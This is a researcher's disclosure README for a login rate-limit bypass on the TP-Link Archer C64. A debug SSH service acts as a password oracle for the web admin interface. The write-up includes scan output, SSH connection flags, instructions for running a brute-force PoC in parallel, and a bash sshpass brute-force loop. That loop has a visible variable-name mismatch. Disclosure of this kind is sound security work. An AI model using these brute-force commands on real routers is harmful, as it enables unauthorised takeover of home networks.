README.md
Rendering markdown...
# CVE-2026-8697: Login Rate Limit Bypass on TP-Link Archer C64
*CVE-2026-8697 is a logic flaw in the TP-Link Archer C64's OS (called TPOS in
the debug message). It lets any unprivileged user connected to the router to
bypass the web UI rate limit by using a residual SSH service. A simple Python
script can be used to try out many passwords in a short amount of time and
obtain full admin access on the router.*
POC: [poc.py](poc.py)
The router has a debug SSH service which does not grant a shell to the router,
rather it just exits when the correct password has been entered. But it uses the
same password as the admin interface and has neither rate limits nor lockout
policies. As such, it can be used as a high-speed authentication oracle to
brute-force the password. This vulnerability can be used by malicious or
compromised IoT devices on the network to gain full admin access to the router.
An attacker cannot gain shell access through this interface, but they can easily
verify credentials to compromise the primary web management interface.
This vulnerability has been patched in firmware version 1.15.0, which simply
removes the service. To test your router, use this command (Linux/macOS):
```bash
timeout 10 nc -vz 192.168.0.1 22
echo $?
```
Replace the IP address with the address you use to connect to the router's web
interface. If the output is `0` or it shows `succeeded!` then your router is
vulnerable. Otherwise, it is not.
In Windows, run the following in PowerShell:
```pwsh
tnc 192.168.0.1 -Port 22
```
If it shows `TcpTestSucceeded : True` then your router is vulnerable. Otherwise
if it hangs indefinitely or shows it as False then it is not vulnerable.
The bug is entirely logic-based and does not require memory corruption, ASLR
bypass or winning race conditions.
# Discovery and Reproduction
At the time, I was learning Nmap and for fun decided to scan my router. At that
time I was not looking for vulnerabilities but I noticed an open SSH service.
```bash
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
```
The log above shows an SSH service running OpenSSH 6.6.0 (a legacy version from
2014, but the version does not matter for this). Seeing the very old version, I
suspected that it could be used by an attacker and tried to SSH into it with the
intention of getting a shell and updating the firmware. At that point I was
trying to secure my router, not to find vulnerabilities. However, connecting to
it presented an interesting problem: the host key and public key algorithms
were not supported on my version of OpenSSH. Using `-o` also did not work in my
system, so I had to use a `debian:bullseye-slim` container which has an OpenSSH
client supporting the `diffie-hellman-group14-sha1` and `ssh-dss` algorithms.
Inside the container, after installing the OpenSSH client, I was able to connect
to the SSH server.
```bash
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss [email protected]
```
I used this and was finally able to connect to the SSH server, which greeted me
with the message `TPOS 5 IPSSH Test` and a password prompt. However, after
entering the password, the connection just closed immediately. I even tried
directly running a command but it did not run the command. I realized that there
was no shell, so an attacker could not get access to my router. So my router is
safe, right? Well, not really. I realized that even though you did not get any
access, you _did_ get to know if your password was correct or not. And that
password was the same as the web interface password, and there were absolutely
no rate limits or anything to stop a brute-force attack. That is when the idea
of turning this into a CVE came to me. I tried to automate the attack. First I
tried using `sshpass` in a bash loop but you could not use multiple passwords
per connection, so I tried making a Python script. That is the attached POC.
To use the POC, first create a venv and install `pexpect`. Note that the
script does not use Pexpect's `pxssh` module since it does not support trying
multiple passwords in a single connection.
```bash
python3 -m venv venv
source venv/bin/activate
pip install pexpect
```
Save the script to `poc.py` and run it. You can optionally pass in a path to a
newline-separated password list as the first argument. If you don't, it will use
the numbers from 1 to 100 as passwords (for speed testing).
```bash
python3 poc.py list.txt
```
You can parallelize the attack by running multiple instances with different
lists. If you run more than 3 instances, you will start to see connection
errors. The script still makes sure all the passwords are tried.
```bash
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
```
# Potential Impact
An attacker can use a malicious or compromised IoT device on the network to
brute-force the password and gain admin access to the admin interface. There is
no indication to the user that this is happening, and the attacker can do this
for a long time without being detected. Once the attacker has access to the
admin interface, they can change the DNS settings to perform DNS hijacking,
change the Wi-Fi password to lock out users, use static routing to intercept
unencrypted traffic or block network access by routing to a nonexistent IP,
forward ports, turn off the firewall/ALG and more.
# CVSS 4.0
The CVSS 4.0 attack vector for this vulnerability is:
```
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
```
, which resolves to a score of [9.3 Critical](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H).
My reasoning for each metric is as follows:
- Attack Vector (AV): **Adjacent (A)** The attacker has to be connected to the Wi-Fi
network to exploit this.
- Attack Complexity (AC): **Low (L)** The attack is straightforward and does not
require any special conditions. A basic implementation of the attack can
look like so:
```bash
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
```
(note that this is slower than the POC script since it does not try multiple
passwords per connection)
- Attack Requirements (AT): **None (N)** This is a purely logic-based bug and
does not require any conditions such as winning a race condition.
- Privileges Required (PR): **None (N)** No special privileges are required.
Note that the requirement to be connected to the Wi-Fi network is already
captured in `AV:A`.
- User Interaction (UI): **None (N)** The attack can be performed without any
user interaction.
- Confidentiality, Integrity and Availability of Vulnerable System (VC,VI,VA):
**High (H)** The attacker gets full admin access to the router, which
constitutes a complete compromise of the confidentiality and integrity of
the router. The attacker can easily make the router unusable in many ways
and require physical access to fix it (eg using the Access Control feature
to only allow a non-existent MAC address to access the admin interface and
turning off Wi-Fi and changing the Internet settings to break internet
access).
- Confidentiality and Integrity of Subsequent System (SC,SI): **Low (L)** The
attacker can intercept traffic using various methods (eg. changing DNS,
using static routing), so it is not None. However, accounting for the fact
that most traffic is encrypted, the impact on the subsequent system is
limited. (Although I am unsure if this should be High or Low)
- Availability of Subsequent System (SA): **High (H)** The attacker can easily
break the internet access of all devices connected to the router.
### CVSS 4.0 Analysis & Discrepancy
The vendor (TP-Link) published this vulnerability with a score of **8.7 (High)**
with the vector:
`CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
However, this research argues that the **Subsequent System Impact** should
not be rated as "None." Because the router acts as the primary gateway for
all connected devices:
1. **Subsequent Availability (SA:H):** Admin access allows an attacker to
permanently block internet access for all connected devices.
2. **Subsequent Integrity/Confidentiality (SI:L/SC:L):** DNS hijacking and
routing manipulation allow for active traffic redirection and metadata
harvesting.
Therefore, a more accurate representation of the risk to the home network is
**9.3/Critical** as discussed above.
# Mitigation
Updating the router's firmware to `1.15.0 Build 250729` or later will fix this.
# Coordinated Disclosure Timeline
| Date | Event |
|------------|-------|
| 2026-02-26 | Vulnerability reported to TP-Link Product Security Team |
| 2026-03-03 | Initial acknowledgement received |
| 2026-03-14 | TP-Link confirms they are in the phase of verification and remediation |
| 2026-04-22 | TP-Link says the vulnerability has been fixed in firmware version 1.15.0, but the firmware is not publicly available yet |
| 2026-04-24 | Firmware is publicly available |
| 2026-04-26 | Patch confirmed and CVE ID requested |
| 2026-05-15 | 90 day deadline reminder sent to TP-Link |
| 2026-05-15 | CVE ID reserved |
| 2026-05-29 | Public disclosure |
| 2026-05-29 | Writeup published (this document) |
# References
- [Security Advisory](https://www.tp-link.com/us/support/faq/5105/)
- [CVE Record](https://www.cve.org/cverecord?id=CVE-2026-8697)
---
This vulnerability was discovered and reported by Tanjim Kamal.
- Website: [tanjim.org](https://tanjim.org)
- GitHub: [itzmetanjim](https://github.com/itzmetanjim)
- Email: [[email protected]](mailto:[email protected])